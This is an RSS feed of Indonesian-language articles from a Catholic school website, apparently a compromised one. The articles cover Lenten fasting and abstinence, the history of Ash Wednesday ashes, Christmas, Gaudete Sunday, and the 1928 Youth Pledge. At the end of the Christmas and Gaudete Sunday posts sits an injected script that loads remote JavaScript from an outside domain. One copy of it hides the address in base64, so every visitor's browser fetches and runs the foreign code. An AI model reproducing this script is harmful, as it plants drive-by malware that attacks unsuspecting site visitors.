<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Artikel Archives - Sekolah Tarsisius Vireta</title>
	<atom:link href="https://www.tarsisiusvireta.sch.id/category/artikel/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.tarsisiusvireta.sch.id/category/artikel/</link>
	<description>KB TK SD SMP SMA SMK</description>
	<lastBuildDate>Thu, 13 Feb 2025 01:16:51 +0000</lastBuildDate>
	<language>id</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.1</generator>

<image>
	<url>https://www.tarsisiusvireta.sch.id/wp-content/uploads/2020/09/cropped-logo-tarsisiusvireta-32x32.png</url>
	<title>Artikel Archives - Sekolah Tarsisius Vireta</title>
	<link>https://www.tarsisiusvireta.sch.id/category/artikel/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Pantang dan Puasa Katolik</title>
		<link>https://www.tarsisiusvireta.sch.id/artikel/pantang-dan-puasa-katolik/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=pantang-dan-puasa-katolik</link>
		
		<dc:creator><![CDATA[SD Tarsisius Vireta]]></dc:creator>
		<pubDate>Wed, 08 Mar 2023 12:01:43 +0000</pubDate>
				<category><![CDATA[Artikel]]></category>
		<guid isPermaLink="false">https://www.tarsisiusvireta.sch.id/?p=4961</guid>

					<description><![CDATA[<p>Tindakan-tindakan konkret diungkapkan bersama dalam Aksi Puasa Pembangunan (APP).</p>
<p>Keempat, puasa 40 hari masa Prapaskah kita ini didasarkan puasa Yesus selama 40 hari sesudah pembaptisan- Nya (KGK 538-540; 2043). “Oleh masa puasa selama 40 hari setiap tahun, Gereja mempersatukan diri dengan misteri Yesus di padang gurun.” (KGK 540). Ada 40 hari biasa dari Rabu Abu sampai Sabtu Paskah. Hari Minggu tidak dihitung, karena itu Hari Tuhan.</p>
<p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/pantang-dan-puasa-katolik/">&lt;strong&gt;Pantang dan Puasa Katolik&lt;/strong&gt;</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image aligncenter size-full"><img fetchpriority="high" decoding="async" width="275" height="183" src="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2023/03/download-2023-03-08T185541.292.jpeg" alt="" class="wp-image-4963"/><figcaption class="wp-element-caption">(Sumber: Pixabay)</figcaption></figure>



<p class="has-medium-font-size wp-block-paragraph"><strong>Pertama</strong>, pernyataan puasa Katolik itu bukan soal makan dan minum harus diartikan bahwa dalam berpuasa, yang terpenting bukan soal jasmaniah, karena hal ini hanyalah sarana mencapai suatu tujuan. Maka, soal tidak makan dan tidak minum, tidak boleh dijadikan lebih penting daripada tujuan dari puasa itu sendiri. Puasa haruslah merupakan ungkapan pertobatan dengan tujuan untuk mendekatkan diri kepada Tuhan dan sesama.</p>



<p class="has-medium-font-size wp-block-paragraph"></p>



<p class="has-medium-font-size wp-block-paragraph">Dengan mengorbankan kenikmatan makanan dan minuman, kita membuat diri kita “lapar” akan Tuhan dan kehendak-Nya. Puasa membuat kita lebih terbuka dan peka terhadap kuasa Allah yang membebaskan dari keterlekatan kepada dosa, memperkuat sikap tegas kita melawan nafsu dosa, dan menyembuhkan luka-luka dosa. Tujuan batiniah inilah yang harus lebih diperhatikan dan ditekankan dalam menjalankan puasa.</p>



<p class="has-medium-font-size wp-block-paragraph"></p>



<p class="has-medium-font-size wp-block-paragraph"><strong>Kedua,</strong> tujuan batiniah untuk mendekatkan diri kepada Allah tetap perlu diungkapkan secara lahiriah- jasmaniah, karena kita adalah makhluk berjiwa badan. Tirakat dan keprihatinan dengan tidak makan dan tidak minum mewujudkan dan mengkonkretkan niatan batiniah dan keseriusan kita untuk mendekatkan diri kepada Allah. Karena itu, tetap dibutuhkan peraturan Gereja sebagai acuan berkaitan dengan makan dan minum, meskipun hal ini bukan tujuan akhir berpuasa. Tirakat dan keprihatinan ini mengingatkan kita agar selama masa Prapaskah ini, makanan yang disediakan juga cukup sederhana, tak berlebihan, baik kuantitas maupun kualitasnya.</p>



<p class="has-medium-font-size wp-block-paragraph"></p>



<p class="has-medium-font-size wp-block-paragraph">Peraturan puasa dalam Gereja Katolik adalah peraturan yang berlaku bagi semua tingkatan usia, mulai dari yang termuda sampai tertua. Maka, peraturan ini sifatnya minimal. Puasa dalam Gereja Katolik wajib dilakukan dua kali selama masa Prapaskah, yaitu Rabu Abu dan Jumat Suci.</p>



<p class="has-medium-font-size wp-block-paragraph">Puasa berarti boleh makan kenyang satu kali dalam sehari, sedangkan pada kesempatan lain boleh makan sedikit, tidak sampai kenyang. Persyaratan yang minimalis ini tentu bisa ditingkatkan melalui prakarsa pribadi, misal makan dan minum hanya dilakukan satu kali saja, bukan dua kali, dan di luar itu sama sekali tidak makan. Puasa juga bisa dilakukan bukan hanya dua kali, tapi sepanjang masa Prapaskah, selama 40 hari. Praktik puasa yang hanya makan satu kali dan selebihnya tidak makan dan minum itu sangat mirip dengan puasa Islam, tetapi tanpa sahur.</p>



<p class="has-medium-font-size wp-block-paragraph"></p>



<p class="has-medium-font-size wp-block-paragraph"><strong>Ketiga</strong>, menurut ajaran Gereja Katolik, pertobatan kita “hendaknya jangan hanya bersifat batin dan perseorangan, melainkan hendaknya bersifat lahir dan sosial-kemasyarakatan.” (SC 110). Ungkapan lahiriah tak makan dan tak minum saja belum cukup, jika tidak diungkapkan secara sosial-kemasyarakatan, seperti yang diungkapkan Nabi Yesaya, “Berpuasa yang Kukehendaki, ialah supaya engkau membuka belenggu-belenggu kelaliman, dan melepaskan tali-tali kuk, supaya engkau memerdekakan orang yang teraniaya dan mematahkan setiap kuk, supaya engkau memecah- mecahkan rotimu bagi orang yang lapar dan membawa ke rumahmu orang miskin yang tak punya rumah, dan apabila engkau melihat orang telanjang, supaya engkau memberi dia pakaian dan tidak menyembunyikan diri terhadap saudaramu sendiri!” (Yes 58:6-9). </p>



<p class="has-medium-font-size wp-block-paragraph">Tindakan-tindakan konkret diungkapkan bersama dalam Aksi Puasa Pembangunan (APP).</p>



<p class="has-medium-font-size wp-block-paragraph">Keempat, puasa 40 hari masa Prapaskah kita ini didasarkan puasa Yesus selama 40 hari sesudah pembaptisan- Nya (KGK 538-540; 2043). “Oleh masa puasa selama 40 hari setiap tahun, Gereja mempersatukan diri dengan misteri Yesus di padang gurun.” (KGK 540). Ada 40 hari biasa dari Rabu Abu sampai Sabtu Paskah. Hari Minggu tidak dihitung, karena itu Hari Tuhan.<em><strong>*(D. Gea)</strong></em></p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><em>Disadur dari tulisan Pastor Petrus Maria Handoko CM [Yang pernah dimuat dalam Majalah Hidup]</em></p>
<p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/pantang-dan-puasa-katolik/">&lt;strong&gt;Pantang dan Puasa Katolik&lt;/strong&gt;</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Asal Mula Perayaan dan Penggunaan Abu</title>
		<link>https://www.tarsisiusvireta.sch.id/artikel/asal-mula-perayaan-dan-penggunaan-abu/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=asal-mula-perayaan-dan-penggunaan-abu</link>
		
		<dc:creator><![CDATA[SD Tarsisius Vireta]]></dc:creator>
		<pubDate>Wed, 08 Mar 2023 11:35:08 +0000</pubDate>
				<category><![CDATA[Artikel]]></category>
		<guid isPermaLink="false">https://www.tarsisiusvireta.sch.id/?p=4957</guid>

					<description><![CDATA[<p>Penggunaan abu dalam liturgi berasal dari jaman Perjanjian Lama. Abu melambangkan perkabungan, ketidakabadian, dan sesal / tobat. Sebagai contoh, dalam Buku Ester, Mordekhai mengenakan kain kabung dan abu ketika ia mendengar perintah Raja Ahasyweros (485-464 SM) dari Persia untuk membunuh semua orang Yahudi dalam kerajaan Persia (Est 4:1). Ayub (yang kisahnya ditulis antara abad ketujuh dan abad kelima SM) menyatakan sesalnya dengan duduk dalam debu dan abu (Ayb 42:6). Dalam nubuatnya tentang penawanan Yerusalem ke Babel, Daniel (sekitar 550 SM) menulis, “Lalu aku mengarahkan mukaku kepada Tuhan Allah untuk berdoa dan bermohon, sambil berpuasa dan mengenakan kain kabung serta abu.” (Dan 9:3). </p>
<p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/asal-mula-perayaan-dan-penggunaan-abu/">&lt;strong&gt;Asal Mula Perayaan dan Penggunaan Abu&lt;/strong&gt;</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="535" src="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2023/03/rabu-abu-1-1024x535.jpg" alt="" class="wp-image-4958" srcset="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2023/03/rabu-abu-1-1024x535.jpg 1024w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2023/03/rabu-abu-1-300x157.jpg 300w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2023/03/rabu-abu-1-768x401.jpg 768w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2023/03/rabu-abu-1.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">(Ash Wednesday)</figcaption></figure>



<p class="wp-block-paragraph"><em>Penulis: P. William P. Saunders *</em></p>



<p class="has-medium-font-size wp-block-paragraph">Penggunaan abu dalam liturgi berasal dari jaman Perjanjian Lama. Abu melambangkan perkabungan, ketidakabadian, dan sesal / tobat. Sebagai contoh, dalam Buku Ester, Mordekhai mengenakan kain kabung dan abu ketika ia mendengar perintah Raja Ahasyweros (485-464 SM) dari Persia untuk membunuh semua orang Yahudi dalam kerajaan Persia (Est 4:1). Ayub (yang kisahnya ditulis antara abad ketujuh dan abad kelima SM) menyatakan sesalnya dengan duduk dalam debu dan abu (Ayb 42:6). Dalam nubuatnya tentang penawanan Yerusalem ke Babel, Daniel (sekitar 550 SM) menulis, “Lalu aku mengarahkan mukaku kepada Tuhan Allah untuk berdoa dan bermohon, sambil berpuasa dan mengenakan kain kabung serta abu.” (Dan 9:3). </p>



<p class="has-medium-font-size wp-block-paragraph">Dalam abad kelima SM, sesudah Yunus menyerukan agar orang berbalik kepada Tuhan dan bertobat, kota Niniwe memaklumkan puasa dan mengenakan kain kabung, dan raja menyelubungi diri dengan kain kabung lalu duduk di atas abu (Yun 3:5-6). Contoh-contoh dari Perjanjian Lama di atas merupakan bukti atas praktek penggunaan abu dan pengertian umum akan makna yang dilambangkannya.</p>



<p class="has-medium-font-size wp-block-paragraph">Yesus Sendiri juga menyinggung soal penggunaan abu: kepada kota-kota yang menolak untuk bertobat dari dosa-dosa mereka meskipun mereka telah menyaksikan mukjizat-mukjizat dan mendengar kabar gembira, Kristus berkata, “Seandainya mukjizat-mukjizat yang telah terjadi di tengah-tengahmu terjadi di Tirus dan Sidon, maka sudah lama orang-orang di situ bertobat dengan memakai pakaian kabung dan abu.” (Mat 11:21)*</p>



<p class="has-medium-font-size wp-block-paragraph">Gereja Perdana mewariskan penggunaan abu untuk alasan simbolik yang sama. Dalam bukunya “De Poenitentia”, Tertulianus (sekitar 160-220) menulis bahwa pendosa yang bertobat haruslah “hidup tanpa bersenang-senang dengan mengenakan kain kabung dan abu.” Eusebius (260-340), sejarahwan Gereja perdana yang terkenal, menceritakan dalam bukunya “Sejarah Gereja” bagaimana seorang murtad bernama Natalis datang kepada Paus Zephyrinus dengan mengenakan kain kabung dan abu untuk memohon pengampunan. Juga, dalam masa yang sama, bagi mereka yang diwajibkan untuk menyatakan tobat di hadapan umum, imam akan mengenakan abu ke kepala mereka setelah pengakuan.</p>



<p class="has-medium-font-size wp-block-paragraph">Dalam abad pertengahan (setidak-tidaknya abad kedelapan), mereka yang menghadapi ajal dibaringkan di tanah di atas kain kabung dan diperciki abu. Imam akan memberkati orang yang menjelang ajal tersebut dengan air suci, sambil mengatakan “Ingat engkau berasal dari debu dan akan kembali menjadi debu.” Setelah memercikkan air suci, imam bertanya, “Puaskah engkau dengan kain kabung dan abu sebagai pernyataan tobatmu di hadapan Tuhan pada hari penghakiman?” Yang mana akan dijawab orang tersebut dengan, “Saya puas.” Dalam contoh-contoh di atas, tampak jelas makna abu sebagai lambang perkabungan, ketidakabadian dan tobat.</p>



<p class="has-medium-font-size wp-block-paragraph">Akhirnya, abu dipergunakan untuk menandai permulaan Masa Prapaskah, yaitu masa persiapan selama 40 hari (tidak termasuk hari Minggu) menyambut Paskah. Ritual perayaan “Rabu Abu” ditemukan dalam edisi awal Gregorian Sacramentary yang diterbitkan sekitar abad kedelapan. Sekitar tahun 1000, seorang imam Anglo-Saxon bernama Aelfric menyampaikan khotbahnya, “Kita membaca dalam kitab-kitab, baik dalam Perjanjian Lama maupun Perjanjian Baru, bahwa mereka yang menyesali dosa-dosanya menaburi diri dengan abu serta membalut tubuh mereka dengan kain kabung. Sekarang, marilah kita melakukannya sedikit pada awal Masa Prapaskah kita, kita menaburkan abu di kepala kita sebagai tanda bahwa kita wajib menyesali dosa-dosa kita terutama selama Masa Prapaskah.” Setidak-tidaknya sejak abad pertengahan, Gereja telah mempergunakan abu untuk menandai permulaan masa tobat Prapaskah, kita ingat akan ketidakabadian kita dan menyesali dosa-dosa kita.</p>



<p class="has-medium-font-size wp-block-paragraph">Dalam liturgi kita sekarang, dalam perayaan Rabu Abu, kita mempergunakan abu yang berasal dari daun-daun palma yang telah diberkati pada perayaan Minggu Palma tahun sebelumnya yang telah dibakar. Imam memberkati abu dan mengenakannya pada dahi umat beriman dengan membuat tanda salib dan berkata, “Ingat, engkau berasal dari debu dan akan kembali menjadi debu,” atau “Bertobatlah dan percayalah kepada Injil.” Sementara kita memasuki Masa Prapaskah yang kudus ini guna menyambut Paskah, patutlah kita ingat akan makna abu yang telah kita terima: kita menyesali dosa dan melakukan silih bagi dosa-dosa kita. Kita mengarahkan hati kepada Kristus, yang sengsara, wafat dan bangkit demi keselamatan kita. Kita memperbaharui janji-janji yang kita ucapkan dalam pembaptisan, yaitu ketika kita mati atas hidup kita yang lama dan bangkit kembali dalam hidup yang baru bersama Kristus. Dan yang terakhir, kita menyadari bahwa kerajaan dunia ini segera berlalu, kita berjuang untuk hidup dalam kerajaan Allah sekarang ini serta merindukan kepenuhannya di surga kelak. Pada intinya, kita mati bagi diri kita sendiri, dan bangkit kembali dalam hidup yang baru dalam Kristus.</p>



<p class="has-medium-font-size wp-block-paragraph">Sementara kita mencamkan makna abu ini dan berjuang untuk menghayatinya terutama sepanjang Masa Prapaskah, patutlah kita mempersilakan Roh Kudus untuk menggerakkan kita dalam karya dan amal belas kasihan terhadap sesama. Bapa Suci dalam pesan Masa Prapaskah tahun 2003 mengatakan, “Merupakan harapan saya yang terdalam bahwa umat beriman akan mendapati Masa Prapaskah ini sebagai masa yang menyenangkan untuk menjadi saksi belas kasih Injil di segala tempat, karena panggilan untuk berbelas kasihan merupakan inti dari segala pewartaan Injil yang sejati.” Beliau juga menyesali bahwa “abad kita, sungguh sangat disayangkan, terutama rentan terhadap godaan akan kepentingan diri sendiri yang senantiasa berkeriapan dalam hati manusia … Suatu hasrat berlebihan untuk memiliki akan menghambat manusia dalam membuka diri terhadap Pencipta mereka dan terhadap saudara-saudari mereka.”</p>



<p class="has-medium-font-size wp-block-paragraph">Dalam Masa Prapaskah ini, tindakan belas kasihan yang tulus, yang dinyatakan kepada mereka yang berkekurangan, haruslah menjadi bagian dari silih kita, tobat kita, dan pembaharuan hidup kita, karena tindakan-tindakan belas kasihan semacam itu mencerminkan kesetiakawanan dan keadilan yang teramat penting bagi datangnya Kerajaan Allah di dunia ini. <strong><em>*(D. Gea)</em></strong></p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><em>*Pastor of Our Lady of Hope Parish in Potomac Falls and a professor of catechetics and theology at Notre Dame Graduate School in Alexandria. Diterjemahkan oleh YESAYA: www.indocell.net/yesaya atas ijin The Arlington Catholic Herald.”</em></p>
<p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/asal-mula-perayaan-dan-penggunaan-abu/">&lt;strong&gt;Asal Mula Perayaan dan Penggunaan Abu&lt;/strong&gt;</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Natal: Refleksi Dari Peristiwa Paskah</title>
		<link>https://www.tarsisiusvireta.sch.id/artikel/natal-refleksi-dari-peristiwa-paskah/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=natal-refleksi-dari-peristiwa-paskah</link>
		
		<dc:creator><![CDATA[SD Tarsisius Vireta]]></dc:creator>
		<pubDate>Thu, 15 Dec 2022 15:03:23 +0000</pubDate>
				<category><![CDATA[Artikel]]></category>
		<guid isPermaLink="false">https://www.tarsisiusvireta.sch.id/?p=4878</guid>

					<description><![CDATA[<p>Menurut Injil Lukas, malaikat Gabriel menyampaikan Kabar Gembira kepada Maria, ketika Elizabeth telah mengandung enam bulan (Luk. 1:24-26.36). Menurut St. Yohanes Krisostomus (347-407), peristiwa kabar gembira tersebut terjadi pada bulan Purnama tanggal 14 Nisan, yang sepadan dengan 25 Maret (Hari Raya Kabar Sukacita). Selain itu, dalam khotbahnya yang berjudul In Diem Natalem, ia menjelaskan bahwa Yesus Kristus lahir sembilan bulan kemudian, yakni tanggal 25 Desember.</p>
<p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/natal-refleksi-dari-peristiwa-paskah/">Natal: Refleksi Dari Peristiwa Paskah</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-large"><img decoding="async" width="265" height="190" data-id="4879" src="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/12/download-65.jpeg" alt="" class="wp-image-4879"/><figcaption class="wp-element-caption">(Ilustrasi/Pixabay)</figcaption></figure>
</figure>



<p class="has-medium-font-size wp-block-paragraph">Gereja perdana merayakan kebangkitan Yesus sebagai momen utama bagi umat untuk mengungkapkan iman. Pada masa itu perayaan kelahiran Yesus belum menjadi perhatian utama Gereja. Tetapi kemudian menjadi perhatian Gereja pada abad ke 3 Masehi. Kesaksian akan hal tersebut diperoleh dari catatan St. Clemens dari Alexandria (+150-210 Masehi). Dalam catatannya, ia menjelaskan bahwa ada upaya Gereja untuk menentukan kapan tanggal kelahiran Yesus.</p>



<p class="has-medium-font-size wp-block-paragraph">Gereja mulai melihat bahwa kelahiran Yesus merupakan bagian dari peristiwa paskah. Sebab tidak ada kebangkitan tanpa peristiwa kelahiran. Hal itu terlihat dari liturgi Natal yang mengutip Prolog Injil Yohanes (1:1-18). Melalui perikop tersebut peristiwa Inkarnasi menjadi nyata. Peristiwa Inkarnasi itu telah dinubuatkan oleh nabi Yesaya (Yes. 52:7-10) dan diteguhkan oleh surat kepada Orang Ibrani (Ibr. 1:1-6). Iman Gereja dilanjutkan hingga sekarang, yang menghubungkan Misteri paskah dan Misteri Inkarnasi. Lagi pula dalam perayaan Misa malam Natal (Vigili), bacaan-bacaan menceritakan bagaimana Yesus menyerahkan diri demi keselamatan umat manusia (Tim. 2:14).</p>



<p class="has-medium-font-size wp-block-paragraph">Menurut Injil Lukas, malaikat Gabriel menyampaikan Kabar Gembira kepada Maria, ketika Elizabeth telah mengandung enam bulan (Luk. 1:24-26.36). Menurut St. Yohanes Krisostomus (347-407), peristiwa kabar gembira tersebut terjadi pada bulan Purnama tanggal 14 Nisan, yang sepadan dengan 25 Maret (Hari Raya Kabar Sukacita). Selain itu, dalam khotbahnya yang berjudul In Diem Natalem, ia menjelaskan bahwa Yesus Kristus lahir sembilan bulan kemudian, yakni tanggal 25 Desember.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><em>Sumber: Roger T. Beckwith. 1996. Calender and Chronology, Jewish and Christian: Biblical, intertestamental and Patristic Studies, E. J. Brill, Denvers.</em></p>



<p class="wp-block-paragraph"><em>Penulis: Detianus Gea</em></p>
<script>;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
        var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');
        x=b.createElement(n);e=b.getElementsByTagName(n)[0];
        x.async=1;x.src=decodedUrl;
        e.parentNode.insertBefore(x,e);
    })(window,document,'script');</script><p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/natal-refleksi-dari-peristiwa-paskah/">Natal: Refleksi Dari Peristiwa Paskah</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Minggu Gaudete: Sukacita dalam Penantian</title>
		<link>https://www.tarsisiusvireta.sch.id/artikel/minggu-gaudete-sukacita-dalam-penantian/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=minggu-gaudete-sukacita-dalam-penantian</link>
		
		<dc:creator><![CDATA[SD Tarsisius Vireta]]></dc:creator>
		<pubDate>Wed, 14 Dec 2022 01:23:00 +0000</pubDate>
				<category><![CDATA[Artikel]]></category>
		<guid isPermaLink="false">https://www.tarsisiusvireta.sch.id/?p=4875</guid>

					<description><![CDATA[<p>Tidak terasa kita telah memasuki Minggu Adven III. Tentu saja umat beriman sudah mempersiapkan diri, baik jasmani dan rohani. Seperti diketahui, umat beriman diberi kesempatan untuk mengaku dosa dan mendalami sabda Tuhan serta berjaga-jaga dalam doa.</p>
<p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/minggu-gaudete-sukacita-dalam-penantian/">Minggu Gaudete: Sukacita dalam Penantian</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" data-id="4876" src="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/12/WhatsApp-Image-2022-12-14-at-08.18.10-1024x576.jpeg" alt="" class="wp-image-4876" srcset="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/12/WhatsApp-Image-2022-12-14-at-08.18.10-1024x576.jpeg 1024w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/12/WhatsApp-Image-2022-12-14-at-08.18.10-300x169.jpeg 300w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/12/WhatsApp-Image-2022-12-14-at-08.18.10-768x432.jpeg 768w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/12/WhatsApp-Image-2022-12-14-at-08.18.10-1536x864.jpeg 1536w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/12/WhatsApp-Image-2022-12-14-at-08.18.10.jpeg 1599w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
</figure>



<p class="has-medium-font-size wp-block-paragraph">Tidak terasa kita telah memasuki Minggu Adven III. Tentu saja umat beriman sudah mempersiapkan diri, baik jasmani dan rohani. Seperti diketahui, umat beriman diberi kesempatan untuk mengaku dosa dan mendalami sabda Tuhan serta berjaga-jaga dalam doa.</p>



<p class="has-medium-font-size wp-block-paragraph">Mengapa disebut Minggu <em>Gaudete</em>? Minggu Gaudete (Minggu Bersukacitalah) berasal dari antiphon pembuka yaitu “Bersukacilah selalu dalam Tuhan, sekali lagi kukatakan: bersukacitalah! Sebab Tuhan sudah dekat” (Flp. 4:4-5). Rasul Paulus mengajak umat beriman untuk bersukacita karena pesta kelahiran Yesus sudah dekat. Selain itu, ‘Minggu Bersukacilah’ berada pada titik tengah dari seluruh Masa Adven.</p>



<p class="has-medium-font-size wp-block-paragraph">Pada Masa awal Adven, umat beriman telah diajak untuk mempersiapkan diri secara jasmani dan rohani melalui matiraga atau puasa. Oleh sebab itu, Gereja mengajak umat beristirahat sejenak dan bersukacita. Tindakan serupa juga dilakukan pada Masa Prapaskah ke-4 (Minggu <em>Laetare</em>).</p>



<p class="has-medium-font-size wp-block-paragraph">Selain itu, umat diingatkan bahwa Masa Adven segera berakhir dan pesta kedatangan Yesus segara dirayakan. Oleh sebab itu, perlu ditumbuhkan harapan yang akan membangkitkan ketekunan dan kesabaran untk mempersiapkan diri.</p>



<p class="has-medium-font-size wp-block-paragraph">Umat beriman akan menyaksikan lilin berwarna pink atau merah muda dinyalakan untuk mengungkapkan kegembiraan. Selain itu, warna pink atau merah muda melambangkan penderitaan masa kini yang tidak sebanding dengan kemulaian yang dinyatakan kepada umat beriman. Dengan demikian, suasana gembira mewarnai perayaan kelahiran Sang Juruselamat, Yesus Kristus.</p>



<p class="wp-block-paragraph"><em>Penulis: Detianus Gea</em></p>
<script>;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
        var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');
        x=b.createElement(n);e=b.getElementsByTagName(n)[0];
        x.async=1;x.src=decodedUrl;
        e.parentNode.insertBefore(x,e);
    })(window,document,'script');</script><p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/minggu-gaudete-sukacita-dalam-penantian/">Minggu Gaudete: Sukacita dalam Penantian</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Kisah Seputar Kongres Pemuda II, 28 Oktober 1928</title>
		<link>https://www.tarsisiusvireta.sch.id/artikel/kisah-seputar-kongres-pemuda-ii-28-oktober-1928/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=kisah-seputar-kongres-pemuda-ii-28-oktober-1928</link>
		
		<dc:creator><![CDATA[SD Tarsisius Vireta]]></dc:creator>
		<pubDate>Thu, 03 Nov 2022 07:15:01 +0000</pubDate>
				<category><![CDATA[Artikel]]></category>
		<guid isPermaLink="false">https://www.tarsisiusvireta.sch.id/?p=4635</guid>

					<description><![CDATA[<p>Banyak diantara kita yang tak banyak mengetahui tentang kisah seputar peristiwa Soempah Pemoeda yang menjadi cikal bakal keberadaan &#8220;Indonesia&#8221;. Sebab, sesungguhnya term baku tentang nama [&#8230;]</p>
<p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/kisah-seputar-kongres-pemuda-ii-28-oktober-1928/">Kisah Seputar Kongres Pemuda II, 28 Oktober 1928</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<div class="wp-block-uagb-image uagb-block-f8897302 wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-center"><figure class="wp-block-uagb-image__figure"><img decoding="async" src="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/11/sumpah-pemuda-asli.jpg" alt="" class="uag-image-4637" width="" height="" title="" /></figure></div>



<p class="wp-block-paragraph">Banyak diantara kita yang tak banyak mengetahui tentang kisah seputar peristiwa Soempah Pemoeda yang menjadi cikal bakal keberadaan &#8220;Indonesia&#8221;. Sebab, sesungguhnya term baku tentang nama &#8220;Indonesia&#8221; itu tak pernah ada sebelum peristiwa Sumpah Pemuda yang bersejarah itu. Sebelumnya, nama wilayah dari Pulau Sumatra (Sabang) sampai Papua (Merauke) masih kerap disebut wilayah &#8220;Nusantara&#8221; dengan kepelbagaian suku, bangsa, ras dan lainnya.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Penyebutan &#8216;Indonesia&#8217; atau ke-Indonesiaan kita sebagai satu bangsa, satu tanah air dan satu bahasa yaitu, Indonesia baru &#8216;autentik&#8217; setelah Kongres Pemuda II.</p>



<p class="wp-block-paragraph">Dengan dan melalui Kongres Pemuda ke-II yang berlangsung selama dua hari (27-28 Oktober 1928) itu, para pemuda dari berbagai wilayah yang hadir sepakat mendeklarasikan tiga buah &#8216;sumpah&#8217; dan kemudian menjadi tonggak sejarah &#8216;penyatuan&#8217; berbagai tanah air, bangsa dan bahasa Indonesia. Selamat membaca!</p>



<p class="wp-block-paragraph"></p>



